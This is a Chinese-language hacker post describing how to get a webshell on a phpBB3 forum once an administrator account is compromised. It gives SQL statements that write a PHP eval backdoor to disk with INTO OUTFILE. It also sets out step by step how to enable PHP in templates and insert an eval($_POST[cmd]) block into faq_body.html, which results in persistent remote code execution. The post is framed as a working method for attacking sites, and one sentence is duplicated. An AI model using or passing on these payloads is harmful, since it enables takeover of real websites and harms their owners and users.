内容:
phpbb3 拿到管理员账号进去能干什么呢?又不能上传个SHELL。确实很头疼啊

搜半天都没搜到有牛人拿到过。难道没人研究它?

去年就试过些招。还是没搞定。今天遇到个phpbb3。终于还是拿到shell了。。。

要是能找到执行类似phpmyadmin之类的执行数据库语句的地方。拿shell还是比较简单的

需要两条语句。还有绝对路径。。如下


INSERT INTO phpbb_config (config_name, config_value) VALUES ('names', '<?php eval($_POST[cmd]);?>');

SELECT config_value INTO OUTFILE 'E:/wwwroot/phpbb/aaaa.php' FROM phpbb_config where config_name='names';

 

然后想起了那个恢复数据库的功能。

首先随便备份一个表。程序会在./store目录下生成类似backup_1225190190_82a812b62fbb2ea7.sql.gz这样的文件

里头是什么呢。就是一个backup_1225190190_82a812b62fbb2ea7.sql文件。

那如果我把上传目录files改为store。然后我再搞个上面拿shell的那条语句的.sql.gz包。接着上传覆盖掉先前备份保留在store目录下的gz文件

接着恢复。那不是大功告成了嘛?

但是但是但是。后来发现。phpbb3上传的附件通通给你重名命为无后缀文件。

找半天没发现哪里改。。无语。google了一下说要以插件的形式修改代码部份。那就失去意义了。都能修改代码了。还废这半天劲干嘛

万恶的phpbb3啊。。。

然后就是模版部份。php标签都会过滤掉了。鞋特啊

最后终于还是搞定了。不浪费口水了。直接说方法

进入后台控制面板=》服务器配置 =》安全设定

(在模板中允许PHP)选项打开

然后进入模版编缉选个模板插三行代码

faq_body.html 就用这玩意。在尾部加入

<!-- PHP -->
   echo "netpk";
<!-- ENDPHP -->

 

然后访问 localhost/phpbb3/faq.php   在底部可以看到netpk字样。说明php代码执行咯。

然后访问 localhost/phpbb3/faq.php   在底部可以看到netpk字样。说明php代码执行咯。

来一条
 


<!-- PHP -->
   eval($_POST[cmd]);
<!-- ENDPHP -->
 


然后就XXXXXXXXX。。打完收工